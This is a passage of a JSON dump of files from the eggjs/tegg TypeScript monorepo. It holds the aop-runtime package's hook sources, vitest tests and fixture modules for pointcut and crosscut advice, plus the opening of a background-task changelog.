    "content": "import { AspectInfoUtil, AspectMetaBuilder, CrosscutAdviceFactory } from '@eggjs/aop-decorator';\nimport { PrototypeUtil } from '@eggjs/core-decorator';\nimport { TeggError } from '@eggjs/metadata';\nimport type {\n  EggPrototype,\n  EggPrototypeWithClazz,\n  LifecycleHook,\n  LoadUnit,\n  LoadUnitLifecycleContext,\n} from '@eggjs/tegg-types';\n\nexport class LoadUnitAopHook implements LifecycleHook<LoadUnitLifecycleContext, LoadUnit> {\n  private readonly crosscutAdviceFactory: CrosscutAdviceFactory;\n\n  constructor(crosscutAdviceFactory: CrosscutAdviceFactory) {\n    this.crosscutAdviceFactory = crosscutAdviceFactory;\n  }\n\n  async postCreate(_: LoadUnitLifecycleContext, loadUnit: LoadUnit): Promise<void> {\n    for (const proto of loadUnit.iterateEggPrototype()) {\n      const protoWithClazz = proto as EggPrototypeWithClazz;\n      const clazz = protoWithClazz.clazz;\n      if (!clazz) continue;\n\n      const builder = new AspectMetaBuilder(clazz, {\n        crosscutAdviceFactory: this.crosscutAdviceFactory,\n      });\n      const aspectList = builder.build();\n      AspectInfoUtil.setAspectList(aspectList, clazz);\n      for (const aspect of aspectList) {\n        for (const advice of aspect.adviceList) {\n          const adviceProto = PrototypeUtil.getClazzProto(advice.clazz);\n          if (!adviceProto) {\n            throw TeggError.create(`Aop Advice(${advice.clazz.name}) not found in loadUnits`, 'advice_not_found');\n          }\n\n          proto.injectObjects.push({\n            refName: advice.name,\n            objName: advice.name,\n            qualifiers: [],\n            proto: adviceProto as EggPrototype,\n          });\n        }\n      }\n    }\n  }\n}\n"
  },
  {
    "path": "tegg/core/aop-runtime/src/PointCutGraphHook.ts",
    "content": "import assert from 'node:assert';\n\nimport { AspectMetaBuilder, PointcutAdviceInfoUtil } from '@eggjs/aop-decorator';\nimport { PrototypeUtil, QualifierUtil } from '@eggjs/core-decorator';\nimport { ClassProtoDescriptor, GlobalGraph, ProtoDependencyMeta, ProtoNode } from '@eggjs/metadata';\nimport { GraphNode } from '@eggjs/tegg-common-util';\n\nexport function pointCutGraphHook(globalGraph: GlobalGraph): void {\n  for (const moduleNode of globalGraph.moduleGraph.nodes.values()) {\n    for (const pointCuttedProtoNode of moduleNode.val.protos) {\n      const pointCutAdviceProtoList = findPointCutAdvice(globalGraph, pointCuttedProtoNode);\n      if (!pointCutAdviceProtoList) continue;\n      for (const pointCutAdviceProto of pointCutAdviceProtoList) {\n        globalGraph.addInject(\n          moduleNode,\n          pointCuttedProtoNode,\n          pointCutAdviceProto,\n          pointCutAdviceProto.val.proto.name,\n        );\n      }\n    }\n  }\n}\n\nfunction findPointCutAdvice(globalGraph: GlobalGraph, protoNode: GraphNode<ProtoNode, ProtoDependencyMeta>) {\n  const proto = protoNode.val.proto;\n  if (!ClassProtoDescriptor.isClassProtoDescriptor(proto)) {\n    return;\n  }\n  const result: Set<GraphNode<ProtoNode, ProtoDependencyMeta>> = new Set();\n  const allMethods = AspectMetaBuilder.getAllMethods(proto.clazz);\n  for (const method of allMethods) {\n    const adviceInfoList = PointcutAdviceInfoUtil.getPointcutAdviceInfoList(proto.clazz, method);\n    for (const { clazz } of adviceInfoList) {\n      const property = PrototypeUtil.getProperty(clazz);\n      assert(property, 'not found property');\n      const injectProto = globalGraph.findDependencyProtoNode(protoNode.val.proto, {\n        objName: property.name,\n        refName: property.name,\n        qualifiers: QualifierUtil.mergeQualifiers(property?.qualifiers ?? [], QualifierUtil.getProtoQualifiers(clazz)),\n      });\n      if (injectProto) {\n        result.add(injectProto);\n      }\n    }\n  }\n  return Array.from(result);\n}\n"
  },
  {
    "path": "tegg/core/aop-runtime/src/index.ts",
    "content": "export * from './AspectExecutor.js';\nexport * from './CrossCutGraphHook.js';\nexport * from './EggObjectAopHook.js';\nexport * from './EggPrototypeCrossCutHook.js';\nexport * from './LoadUnitAopHook.js';\nexport * from './PointCutGraphHook.js';\n"
  },
  {
    "path": "tegg/core/aop-runtime/test/__snapshots__/index.test.ts.snap",
    "content": "// Vitest Snapshot v1, https://vitest.dev/guide/snapshot.html\n\nexports[`should export stable 1`] = `\n{\n  \"AspectExecutor\": [Function],\n  \"EggObjectAopHook\": [Function],\n  \"EggPrototypeCrossCutHook\": [Function],\n  \"LoadUnitAopHook\": [Function],\n  \"crossCutGraphHook\": [Function],\n  \"pointCutGraphHook\": [Function],\n}\n`;\n"
  },
  {
    "path": "tegg/core/aop-runtime/test/aop-runtime.test.ts",
    "content": "import assert from 'node:assert';\nimport path from 'node:path';\nimport { mock } from 'node:test';\n\nimport { CrosscutAdviceFactory } from '@eggjs/aop-decorator';\nimport { EggPrototypeLifecycleUtil, LoadUnitFactory, LoadUnitLifecycleUtil } from '@eggjs/metadata';\nimport { CoreTestHelper, EggTestContext } from '@eggjs/module-test-util';\nimport { EggObjectLifecycleUtil, LoadUnitInstanceFactory } from '@eggjs/tegg-runtime';\nimport type { LoadUnitInstance } from '@eggjs/tegg-types';\nimport { describe, beforeEach, afterEach, it } from 'vitest';\n\n// must import before other imports\nimport { Hello } from './fixtures/modules/hello_succeed/Hello.js';\n\nimport { crossCutGraphHook } from '../src/CrossCutGraphHook.js';\nimport { EggObjectAopHook } from '../src/EggObjectAopHook.js';\nimport { EggPrototypeCrossCutHook } from '../src/EggPrototypeCrossCutHook.js';\nimport { LoadUnitAopHook } from '../src/LoadUnitAopHook.js';\nimport { pointCutGraphHook } from '../src/PointCutGraphHook.js';\nimport { HelloConstructorInject } from './fixtures/modules/constructor_inject_aop/Hello.js';\nimport { CallTrace } from './fixtures/modules/hello_cross_cut/CallTrace.js';\nimport { crosscutAdviceParams } from './fixtures/modules/hello_cross_cut/HelloCrossCut.js';\nimport { pointcutAdviceParams } from './fixtures/modules/hello_point_cut/HelloPointCut.js';\n\ndescribe('test/aop-runtime.test.ts', () => {\n  afterEach(() => {\n    mock.reset();\n  });\n\n  describe('succeed call', () => {\n    let modules: Array<LoadUnitInstance>;\n    let crosscutAdviceFactory: CrosscutAdviceFactory;\n    let eggObjectAopHook: EggObjectAopHook;\n    let loadUnitAopHook: LoadUnitAopHook;\n    let eggPrototypeCrossCutHook: EggPrototypeCrossCutHook;\n\n    beforeEach(async () => {\n      crosscutAdviceFactory = new CrosscutAdviceFactory();\n      eggObjectAopHook = new EggObjectAopHook();\n      loadUnitAopHook = new LoadUnitAopHook(crosscutAdviceFactory);\n      eggPrototypeCrossCutHook = new EggPrototypeCrossCutHook(crosscutAdviceFactory);\n      EggPrototypeLifecycleUtil.registerLifecycle(eggPrototypeCrossCutHook);\n      LoadUnitLifecycleUtil.registerLifecycle(loadUnitAopHook);\n      EggObjectLifecycleUtil.registerLifecycle(eggObjectAopHook);\n\n      modules = await CoreTestHelper.prepareModules(\n        [\n          path.join(__dirname, '..'),\n          path.join(__dirname, 'fixtures/modules/hello_succeed'),\n          path.join(__dirname, 'fixtures/modules/hello_point_cut'),\n          path.join(__dirname, 'fixtures/modules/state_point_cut'),\n          path.join(__dirname, 'fixtures/modules/hello_cross_cut'),\n        ],\n        [crossCutGraphHook, pointCutGraphHook],\n      );\n    });\n\n    afterEach(async () => {\n      for (const module of modules) {\n        await LoadUnitFactory.destroyLoadUnit(module.loadUnit);\n        await LoadUnitInstanceFactory.destroyLoadUnitInstance(module);\n      }\n      EggPrototypeLifecycleUtil.deleteLifecycle(eggPrototypeCrossCutHook);\n      LoadUnitLifecycleUtil.deleteLifecycle(loadUnitAopHook);\n      EggObjectLifecycleUtil.deleteLifecycle(eggObjectAopHook);\n    });\n\n    it('should work', async () => {\n      await EggTestContext.mockContext(async () => {\n        const hello = await CoreTestHelper.getObject(Hello);\n        const callTrace = await CoreTestHelper.getObject(CallTrace);\n        const msg = await hello.hello('aop');\n        const traceMsg = callTrace.msgs;\n        assert.deepStrictEqual(\n          msg,\n          `withCrossAroundResult(withPointAroundResult(hello withPointAroundParam(withCrosscutAroundParam(aop))${JSON.stringify(pointcutAdviceParams)})${JSON.stringify(crosscutAdviceParams)})`,\n        );\n        assert.deepStrictEqual(traceMsg, [\n          {\n            className: 'CrosscutAdvice',\n            methodName: 'beforeCall',\n            id: 233,\n            name: 'aop',\n            adviceParams: crosscutAdviceParams,\n          },\n          {\n            className: 'PointcutAdvice',\n            methodName: 'beforeCall',\n            id: 233,\n            name: 'aop',\n            adviceParams: pointcutAdviceParams,\n          },\n          {\n            className: 'CrosscutAdvice',\n            methodName: 'afterReturn',\n            id: 233,\n            name: 'withPointAroundParam(withCrosscutAroundParam(aop))',\n            result: `withCrossAroundResult(withPointAroundResult(hello withPointAroundParam(withCrosscutAroundParam(aop))${JSON.stringify(pointcutAdviceParams)})${JSON.stringify(crosscutAdviceParams)})`,\n            adviceParams: crosscutAdviceParams,\n          },\n          {\n            className: 'PointcutAdvice',\n            methodName: 'afterReturn',\n            id: 233,\n            name: 'withPointAroundParam(withCrosscutAroundParam(aop))',\n            result: `withCrossAroundResult(withPointAroundResult(hello withPointAroundParam(withCrosscutAroundParam(aop))${JSON.stringify(pointcutAdviceParams)})${JSON.stringify(crosscutAdviceParams)})`,\n            adviceParams: pointcutAdviceParams,\n          },\n          {\n            className: 'CrosscutAdvice',\n            methodName: 'afterFinally',\n            id: 233,\n            name: 'withPointAroundParam(withCrosscutAroundParam(aop))',\n            adviceParams: crosscutAdviceParams,\n          },\n          {\n            className: 'PointcutAdvice',\n            methodName: 'afterFinally',\n            id: 233,\n            name: 'withPointAroundParam(withCrosscutAroundParam(aop))',\n            adviceParams: pointcutAdviceParams,\n          },\n        ]);\n\n        await assert.rejects(async () => {\n          await hello.helloWithException('foo');\n        }, new Error('ops, exception for withPointAroundParam(foo)'));\n        assert.deepStrictEqual(callTrace.msgs[callTrace.msgs.length - 2], {\n          className: 'PointcutAdvice',\n          methodName: 'afterThrow',\n          id: 233,\n          name: 'withPointAroundParam(foo)',\n          result: 'ops, exception for withPointAroundParam(foo)',\n          adviceParams: pointcutAdviceParams,\n        });\n      });\n    });\n\n    it('state should work', async () => {\n      await EggTestContext.mockContext(async () => {\n        const hello = await CoreTestHelper.getObject(Hello);\n        const msg = await hello.helloState('aop');\n        assert.equal(msg, 'withStatePointAroundResult(hello aop)(2333)');\n      });\n    });\n\n    it('mock should work', async () => {\n      await EggTestContext.mockContext(async () => {\n        const hello = await CoreTestHelper.getObject(Hello);\n        let helloMocked = false;\n        mock.method(Hello.prototype, 'hello', async () => {\n          helloMocked = true;\n        });\n        await hello.hello('aop');\n        assert(helloMocked);\n      });\n    });\n  });\n\n  describe('should failed', () => {\n    let crosscutAdviceFactory: CrosscutAdviceFactory;\n    let eggObjectAopHook: EggObjectAopHook;\n    let loadUnitAopHook: LoadUnitAopHook;\n    let eggPrototypeCrossCutHook: EggPrototypeCrossCutHook;\n\n    beforeEach(async () => {\n      crosscutAdviceFactory = new CrosscutAdviceFactory();\n      eggObjectAopHook = new EggObjectAopHook();\n      loadUnitAopHook = new LoadUnitAopHook(crosscutAdviceFactory);\n      eggPrototypeCrossCutHook = new EggPrototypeCrossCutHook(crosscutAdviceFactory);\n      EggPrototypeLifecycleUtil.registerLifecycle(eggPrototypeCrossCutHook);\n      LoadUnitLifecycleUtil.registerLifecycle(loadUnitAopHook);\n      EggObjectLifecycleUtil.registerLifecycle(eggObjectAopHook);\n    });\n\n    it('should throw', async () => {\n      await assert.rejects(async () => {\n        await CoreTestHelper.prepareModules([\n          path.join(__dirname, '..'),\n          path.join(__dirname, 'fixtures/modules/should_throw'),\n        ]);\n      }, /Aop Advice\\(PointcutAdvice\\) not found in loadUnits/);\n    });\n  });\n\n  describe('aop constructor should work', () => {\n    let modules: Array<LoadUnitInstance>;\n    let crosscutAdviceFactory: CrosscutAdviceFactory;\n    let eggObjectAopHook: EggObjectAopHook;\n    let loadUnitAopHook: LoadUnitAopHook;\n    let eggPrototypeCrossCutHook: EggPrototypeCrossCutHook;\n\n    beforeEach(async () => {\n      crosscutAdviceFactory = new CrosscutAdviceFactory();\n      eggObjectAopHook = new EggObjectAopHook();\n      loadUnitAopHook = new LoadUnitAopHook(crosscutAdviceFactory);\n      eggPrototypeCrossCutHook = new EggPrototypeCrossCutHook(crosscutAdviceFactory);\n      EggPrototypeLifecycleUtil.registerLifecycle(eggPrototypeCrossCutHook);\n      LoadUnitLifecycleUtil.registerLifecycle(loadUnitAopHook);\n      EggObjectLifecycleUtil.registerLifecycle(eggObjectAopHook);\n\n      modules = await CoreTestHelper.prepareModules(\n        [\n          path.join(__dirname, '..'),\n          path.join(__dirname, 'fixtures/modules/constructor_inject_aop'),\n          path.join(__dirname, 'fixtures/modules/hello_point_cut'),\n          path.join(__dirname, 'fixtures/modules/hello_cross_cut'),\n        ],\n        [crossCutGraphHook, pointCutGraphHook],\n      );\n    });\n\n    afterEach(async () => {\n      for (const module of modules) {\n        await LoadUnitFactory.destroyLoadUnit(module.loadUnit);\n        await LoadUnitInstanceFactory.destroyLoadUnitInstance(module);\n      }\n      EggPrototypeLifecycleUtil.deleteLifecycle(eggPrototypeCrossCutHook);\n      LoadUnitLifecycleUtil.deleteLifecycle(loadUnitAopHook);\n      EggObjectLifecycleUtil.deleteLifecycle(eggObjectAopHook);\n    });\n\n    it('should work', async () => {\n      await EggTestContext.mockContext(async () => {\n        const hello = await CoreTestHelper.getObject(HelloConstructorInject);\n        const callTrace = await CoreTestHelper.getObject(CallTrace);\n        const msg = await hello.hello('aop');\n        const traceMsg = callTrace.msgs;\n        console.log('msg: ', msg, traceMsg);\n        assert.deepStrictEqual(\n          msg,\n          `withPointAroundResult(hello withPointAroundParam(aop)${JSON.stringify(pointcutAdviceParams)})`,\n        );\n        assert.deepStrictEqual(traceMsg, [\n          {\n            className: 'PointcutAdvice',\n            methodName: 'beforeCall',\n            id: 233,\n            name: 'aop',\n            adviceParams: pointcutAdviceParams,\n          },\n          {\n            className: 'PointcutAdvice',\n            methodName: 'afterReturn',\n            id: 233,\n            name: 'withPointAroundParam(aop)',\n            result: `withPointAroundResult(hello withPointAroundParam(aop)${JSON.stringify(pointcutAdviceParams)})`,\n            adviceParams: pointcutAdviceParams,\n          },\n          {\n            className: 'PointcutAdvice',\n            methodName: 'afterFinally',\n            id: 233,\n            name: 'withPointAroundParam(aop)',\n            adviceParams: pointcutAdviceParams,\n          },\n        ]);\n\n        await assert.rejects(async () => {\n          await hello.helloWithException('foo');\n        }, new Error('ops, exception for withPointAroundParam(foo)'));\n        assert.deepStrictEqual(callTrace.msgs[callTrace.msgs.length - 2], {\n          className: 'PointcutAdvice',\n          methodName: 'afterThrow',\n          id: 233,\n          name: 'withPointAroundParam(foo)',\n          result: 'ops, exception for withPointAroundParam(foo)',\n          adviceParams: pointcutAdviceParams,\n        });\n      });\n    });\n\n    it('mock should work', async () => {\n      await EggTestContext.mockContext(async () => {\n        const hello = await CoreTestHelper.getObject(HelloConstructorInject);\n        let helloMocked = false;\n        mock.method(HelloConstructorInject.prototype, 'hello', async () => {\n          helloMocked = true;\n        });\n        await hello.hello('aop');\n        assert(helloMocked);\n      });\n    });\n  });\n});\n"
  },
  {
    "path": "tegg/core/aop-runtime/test/fixtures/modules/constructor_inject_aop/Hello.ts",
    "content": "import { Pointcut } from '@eggjs/aop-decorator';\nimport { ContextProto, Inject, SingletonProto } from '@eggjs/core-decorator';\n\nimport { PointcutAdvice, pointcutAdviceParams } from '../hello_point_cut/HelloPointCut.js';\n\n@SingletonProto()\nexport class Foo {}\n\n@ContextProto()\nexport class HelloConstructorInject {\n  id = 233;\n\n  // @ts-expect-error: readonly property in constructor\n  constructor(@Inject() readonly foo: Foo) {}\n\n  @Pointcut(PointcutAdvice, { adviceParams: pointcutAdviceParams })\n  async hello(name: string): Promise<string> {\n    return `hello ${name}`;\n  }\n\n  @Pointcut(PointcutAdvice, { adviceParams: pointcutAdviceParams })\n  async helloWithException(name: string): Promise<never> {\n    throw new Error(`ops, exception for ${name}`);\n  }\n}\n"
  },
  {
    "path": "tegg/core/aop-runtime/test/fixtures/modules/constructor_inject_aop/package.json",
    "content": "{\n  \"name\": \"aop-module\",\n  \"type\": \"module\",\n  \"eggModule\": {\n    \"name\": \"aopModule\"\n  }\n}\n"
  },
  {
    "path": "tegg/core/aop-runtime/test/fixtures/modules/hello_cross_cut/CallTrace.ts",
    "content": "import { AccessLevel, SingletonProto } from '@eggjs/core-decorator';\n\nexport interface CallTraceMsg {\n  className: string;\n  methodName: string;\n  id: number;\n  name: string;\n  result?: string;\n  adviceParams?: any;\n}\n\n@SingletonProto({\n  accessLevel: AccessLevel.PUBLIC,\n})\nexport class CallTrace {\n  msgs: Array<CallTraceMsg> = [];\n\n  addMsg(msg: CallTraceMsg): void {\n    this.msgs.push(msg);\n  }\n}\n"
  },
  {
    "path": "tegg/core/aop-runtime/test/fixtures/modules/hello_cross_cut/HelloCrossCut.ts",
    "content": "import assert from 'node:assert';\n\nimport { Advice, Crosscut } from '@eggjs/aop-decorator';\nimport { AccessLevel, Inject } from '@eggjs/core-decorator';\nimport { type AdviceContext, type IAdvice, PointcutType } from '@eggjs/tegg-types';\n\nimport { Hello } from '../hello_succeed/Hello.ts';\nimport { CallTrace } from './CallTrace.ts';\n\nexport const crosscutAdviceParams = {\n  cross: Math.random().toString() as string,\n  cut: Math.random().toString() as string,\n};\n\n@Crosscut(\n  {\n    type: PointcutType.CLASS,\n    clazz: Hello,\n    methodName: 'hello',\n  },\n  { adviceParams: crosscutAdviceParams },\n)\n@Advice({\n  accessLevel: AccessLevel.PUBLIC,\n})\nexport class CrosscutAdvice implements IAdvice<Hello, string> {\n  @Inject()\n  callTrace: CallTrace;\n\n  async beforeCall(ctx: AdviceContext<Hello, {}>): Promise<void> {\n    assert.ok(ctx.adviceParams);\n    assert.deepStrictEqual(ctx.adviceParams, crosscutAdviceParams);\n    this.callTrace.addMsg({\n      className: CrosscutAdvice.name,\n      methodName: 'beforeCall',\n      id: ctx.that.id,\n      name: ctx.args[0],\n      adviceParams: ctx.adviceParams,\n    });\n  }\n\n  async afterReturn(ctx: AdviceContext<Hello>, result: any): Promise<void> {\n    assert.ok(ctx.adviceParams);\n    assert.deepStrictEqual(ctx.adviceParams, crosscutAdviceParams);\n    this.callTrace.addMsg({\n      className: CrosscutAdvice.name,\n      methodName: 'afterReturn',\n      id: ctx.that.id,\n      name: ctx.args[0],\n      result,\n      adviceParams: ctx.adviceParams,\n    });\n  }\n\n  async afterFinally(ctx: AdviceContext<Hello>): Promise<void> {\n    assert.ok(ctx.adviceParams);\n    assert.deepStrictEqual(ctx.adviceParams, crosscutAdviceParams);\n    this.callTrace.addMsg({\n      className: CrosscutAdvice.name,\n      methodName: 'afterFinally',\n      id: ctx.that.id,\n      name: ctx.args[0],\n      adviceParams: ctx.adviceParams,\n    });\n  }\n\n  async around(ctx: AdviceContext<Hello>, next: () => Promise<any>): Promise<any> {\n    assert.ok(ctx.adviceParams);\n    assert.deepStrictEqual(ctx.adviceParams, crosscutAdviceParams);\n    ctx.args[0] = `withCrosscutAroundParam(${ctx.args[0]})`;\n    const result = await next();\n    return `withCrossAroundResult(${result}${JSON.stringify(ctx.adviceParams)})`;\n  }\n}\n"
  },
  {
    "path": "tegg/core/aop-runtime/test/fixtures/modules/hello_cross_cut/package.json",
    "content": "{\n  \"name\": \"hello-cross-cut\",\n  \"type\": \"module\",\n  \"eggModule\": {\n    \"name\": \"helloCrossCut\"\n  }\n}\n"
  },
  {
    "path": "tegg/core/aop-runtime/test/fixtures/modules/hello_point_cut/HelloPointCut.ts",
    "content": "import assert from 'node:assert';\n\nimport { Advice } from '@eggjs/aop-decorator';\nimport { AccessLevel, Inject } from '@eggjs/core-decorator';\nimport { type AdviceContext, type IAdvice } from '@eggjs/tegg-types';\n\nimport { CallTrace } from '../hello_cross_cut/CallTrace.ts';\nimport { Hello } from '../hello_succeed/Hello.ts';\n\nexport const pointcutAdviceParams = {\n  point: Math.random().toString() as string,\n  cut: Math.random().toString() as string,\n};\n\n// 测试aop修改ctx的args的值\nconst TEST_CTX_ARGS_VALUE = 123;\n\n@Advice({\n  accessLevel: AccessLevel.PUBLIC,\n})\nexport class PointcutAdvice implements IAdvice<Hello> {\n  @Inject()\n  callTrace: CallTrace;\n\n  async beforeCall(ctx: AdviceContext<Hello>): Promise<void> {\n    assert.ok(ctx.adviceParams);\n    assert.deepStrictEqual(ctx.adviceParams, pointcutAdviceParams);\n    this.callTrace.addMsg({\n      className: PointcutAdvice.name,\n      methodName: 'beforeCall',\n      id: ctx.that.id,\n      name: ctx.args[0],\n      adviceParams: ctx.adviceParams,\n    });\n    ctx.args = [...ctx.args, TEST_CTX_ARGS_VALUE];\n  }\n\n  async afterReturn(ctx: AdviceContext<Hello>, result: any): Promise<void> {\n    assert.ok(ctx.adviceParams);\n    assert.deepStrictEqual(ctx.adviceParams, pointcutAdviceParams);\n    assert.deepStrictEqual(ctx.args[ctx.args.length - 1], TEST_CTX_ARGS_VALUE);\n    this.callTrace.addMsg({\n      className: PointcutAdvice.name,\n      methodName: 'afterReturn',\n      id: ctx.that.id,\n      name: ctx.args[0],\n      result,\n      adviceParams: ctx.adviceParams,\n    });\n  }\n\n  async afterThrow(ctx: AdviceContext<Hello, any>, error: Error): Promise<void> {\n    assert.ok(ctx.adviceParams);\n    assert.deepStrictEqual(ctx.adviceParams, pointcutAdviceParams);\n    this.callTrace.addMsg({\n      className: PointcutAdvice.name,\n      methodName: 'afterThrow',\n      id: ctx.that.id,\n      name: ctx.args[0],\n      result: error.message,\n      adviceParams: ctx.adviceParams,\n    });\n  }\n\n  async afterFinally(ctx: AdviceContext<Hello>): Promise<void> {\n    assert.ok(ctx.adviceParams);\n    assert.deepStrictEqual(ctx.adviceParams, pointcutAdviceParams);\n    this.callTrace.addMsg({\n      className: PointcutAdvice.name,\n      methodName: 'afterFinally',\n      id: ctx.that.id,\n      name: ctx.args[0],\n      adviceParams: ctx.adviceParams,\n    });\n  }\n\n  async around(ctx: AdviceContext<Hello>, next: () => Promise<any>): Promise<any> {\n    assert.ok(ctx.adviceParams);\n    assert.deepStrictEqual(ctx.adviceParams, pointcutAdviceParams);\n    ctx.args[0] = `withPointAroundParam(${ctx.args[0]})`;\n    const result = await next();\n    return `withPointAroundResult(${result}${JSON.stringify(pointcutAdviceParams)})`;\n  }\n}\n"
  },
  {
    "path": "tegg/core/aop-runtime/test/fixtures/modules/hello_point_cut/package.json",
    "content": "{\n  \"name\": \"hello-point-cut\",\n  \"type\": \"module\",\n  \"eggModule\": {\n    \"name\": \"helloPointCut\"\n  }\n}\n"
  },
  {
    "path": "tegg/core/aop-runtime/test/fixtures/modules/hello_succeed/Hello.ts",
    "content": "import { Pointcut } from '@eggjs/aop-decorator';\nimport { ContextProto } from '@eggjs/core-decorator';\n\nimport { PointcutAdvice, pointcutAdviceParams } from '../hello_point_cut/HelloPointCut.js';\nimport { StatePointcutAdvice } from '../state_point_cut/StatePointCut.js';\n\n@ContextProto()\nexport class Hello {\n  id = 233;\n\n  @Pointcut(PointcutAdvice, { adviceParams: pointcutAdviceParams })\n  async hello(name: string): Promise<string> {\n    return `hello ${name}`;\n  }\n\n  @Pointcut(PointcutAdvice, { adviceParams: pointcutAdviceParams })\n  async helloWithException(name: string): Promise<never> {\n    throw new Error(`ops, exception for ${name}`);\n  }\n\n  @Pointcut(StatePointcutAdvice)\n  async helloState(name: string): Promise<string> {\n    return `hello ${name}`;\n  }\n}\n"
  },
  {
    "path": "tegg/core/aop-runtime/test/fixtures/modules/hello_succeed/package.json",
    "content": "{\n  \"name\": \"aop-module\",\n  \"type\": \"module\",\n  \"eggModule\": {\n    \"name\": \"aopModule\"\n  }\n}\n"
  },
  {
    "path": "tegg/core/aop-runtime/test/fixtures/modules/should_throw/Hello.ts",
    "content": "import { Advice, Pointcut } from '@eggjs/aop-decorator';\nimport { ContextProto } from '@eggjs/core-decorator';\nimport type { AdviceContext, IAdvice } from '@eggjs/tegg-types';\n\n@Advice()\nclass PointcutAdvice implements IAdvice<Hello> {\n  async beforeCall(ctx: AdviceContext<Hello>): Promise<void> {\n    console.info(ctx);\n  }\n}\n\n@ContextProto()\nexport class Hello {\n  id = 233;\n\n  @Pointcut(PointcutAdvice)\n  async hello(name: string): Promise<string> {\n    return `hello ${name}`;\n  }\n}\n"
  },
  {
    "path": "tegg/core/aop-runtime/test/fixtures/modules/should_throw/package.json",
    "content": "{\n  \"name\": \"throw-aop-module\",\n  \"type\": \"module\",\n  \"eggModule\": {\n    \"name\": \"throwAopModule\"\n  }\n}\n"
  },
  {
    "path": "tegg/core/aop-runtime/test/fixtures/modules/state_point_cut/StatePointCut.ts",
    "content": "import { Advice } from '@eggjs/aop-decorator';\nimport { AccessLevel, ObjectInitType } from '@eggjs/core-decorator';\nimport { type AdviceContext, type IAdvice } from '@eggjs/tegg-types';\n\nimport { Hello } from '../hello_succeed/Hello.ts';\n\nconst STATE_SYMBOL = Symbol.for('STATE_SYMBOL');\n\n@Advice({\n  initType: ObjectInitType.SINGLETON,\n  accessLevel: AccessLevel.PUBLIC,\n})\nexport class StatePointcutAdvice implements IAdvice<Hello> {\n  async beforeCall(ctx: AdviceContext<Hello>): Promise<void> {\n    ctx.set(STATE_SYMBOL, 2333);\n  }\n\n  async around(ctx: AdviceContext<Hello>, next: () => Promise<any>): Promise<any> {\n    const result = await next();\n    const state = ctx.get(STATE_SYMBOL);\n    return `withStatePointAroundResult(${result})(${state})`;\n  }\n}\n"
  },
  {
    "path": "tegg/core/aop-runtime/test/fixtures/modules/state_point_cut/package.json",
    "content": "{\n  \"name\": \"state-point-cut\",\n  \"type\": \"module\",\n  \"eggModule\": {\n    \"name\": \"statePointCut\"\n  }\n}\n"
  },
  {
    "path": "tegg/core/aop-runtime/test/index.test.ts",
    "content": "import { expect, it } from 'vitest';\n\nimport * as types from '../src/index.js';\n\nit('should export stable', async () => {\n  expect(types).toMatchSnapshot();\n});\n"
  },
  {
    "path": "tegg/core/aop-runtime/tsconfig.json",
    "content": "{\n  \"extends\": \"../../../tsconfig.json\"\n}\n"
  },
  {
    "path": "tegg/core/aop-runtime/tsdown.config.ts",
    "content": "import { defineConfig } from 'tsdown';\n\nexport default defineConfig({\n  entry: {\n    index: 'src/index.ts',\n  },\n});\n"
  },
  {
    "path": "tegg/core/background-task/CHANGELOG.md",
    "content": "# Changelog\n\n> [!IMPORTANT]\n> Moving forwards we are using the GitHub releases page at <https://github.com/eggjs/egg/releases> in combination with [release.yml](https://github.com/eggjs/egg/actions/workflows/release.yml) for publishing releases and their changelogs.\n\n---\n\n## 4.0.0+\n\n* drop Node.js < 22.18.0 support\n* only support egg@4\n\npart of https://github.com/eggjs/egg/issues/5434\n\n---\n\n\nAll notable changes to this project will be documented in this file.\nSee [Conventional Commits](https://conventionalcommits.org) for commit guidelines.\n\n# [4.0.0-beta.4](https://github.com/eggjs/tegg/compare/v4.0.0-beta.3...v4.0.0-beta.4) (2025-03-15)\n\n**Note:** Version bump only for package @eggjs/tegg-background-task\n\n\n\n\n\n# [4.0.0-beta.3](https://github.com/eggjs/tegg/compare/v4.0.0-beta.2...v4.0.0-beta.3) (2025-03-15)\n\n**Note:** Version bump only for package @eggjs/tegg-background-task\n\n\n\n\n\n# [4.0.0-beta.2](https://github.com/eggjs/tegg/compare/v4.0.0-beta.1...v4.0.0-beta.2) (2025-03-03)\n\n**Note:** Version bump only for package @eggjs/tegg-background-task\n\n\n\n\n\n# [4.0.0-beta.1](https://github.com/eggjs/tegg/compare/v3.52.0...v4.0.0-beta.1) (2025-03-02)\n\n**Note:** Version bump only for package @eggjs/tegg-background-task\n\n\n\n\n\n# [3.52.0](https://github.com/eggjs/tegg/compare/v3.51.2...v3.52.0) (2024-12-30)\n\n**Note:** Version bump only for package @eggjs/tegg-background-task\n\n\n\n\n\n## [3.51.2](https://github.com/eggjs/tegg/compare/v3.51.1...v3.51.2) (2024-12-09)\n\n**Note:** Version bump only for package @eggjs/tegg-background-task\n\n\n\n\n\n## [3.51.1](https://github.com/eggjs/tegg/compare/v3.51.0...v3.51.1) (2024-11-06)\n\n**Note:** Version bump only for package @eggjs/tegg-background-task\n\n\n\n\n\n# [3.51.0](https://github.com/eggjs/tegg/compare/v3.50.1...v3.51.0) (2024-10-30)\n\n**Note:** Version bump only for package @eggjs/tegg-background-task\n\n\n\n\n\n## [3.50.1](https://github.com/eggjs/tegg/compare/v3.50.0...v3.50.1) (2024-10-23)\n\n**Note:** Version bump only for package @eggjs/tegg-background-task\n\n\n\n\n\n# [3.50.0](https://github.com/eggjs/tegg/compare/v3.49.0...v3.50.0) (2024-10-22)\n\n**Note:** Version bump only for package @eggjs/tegg-background-task\n\n\n\n\n\n# [3.49.0](https://github.com/eggjs/tegg/compare/v3.48.1...v3.49.0) (2024-10-21)\n\n**Note:** Version bump only for package @eggjs/tegg-background-task\n\n\n\n\n\n## [3.48.1](https://github.com/eggjs/tegg/compare/v3.48.0...v3.48.1) (2024-10-14)\n\n**Note:** Version bump only for package @eggjs/tegg-background-task\n\n\n\n\n\n# [3.48.0](https://github.com/eggjs/tegg/compare/v3.47.2...v3.48.0) (2024-10-10)\n\n**Note:** Version bump only for package @eggjs/tegg-background-task\n\n\n\n\n\n## [3.47.2](https://github.com/eggjs/tegg/compare/v3.47.1...v3.47.2) (2024-10-10)\n\n**Note:** Version bump only for package @eggjs/tegg-background-task\n\n\n\n\n\n## [3.47.1](https://github.com/eggjs/tegg/compare/v3.47.0...v3.47.1) (2024-10-10)\n\n**Note:** Version bump only for package @eggjs/tegg-background-task\n\n\n\n\n\n# [3.47.0](https://github.com/eggjs/tegg/compare/v3.46.4...v3.47.0) (2024-10-10)\n\n**Note:** Version bump only for package @eggjs/tegg-background-task\n\n\n\n\n\n## 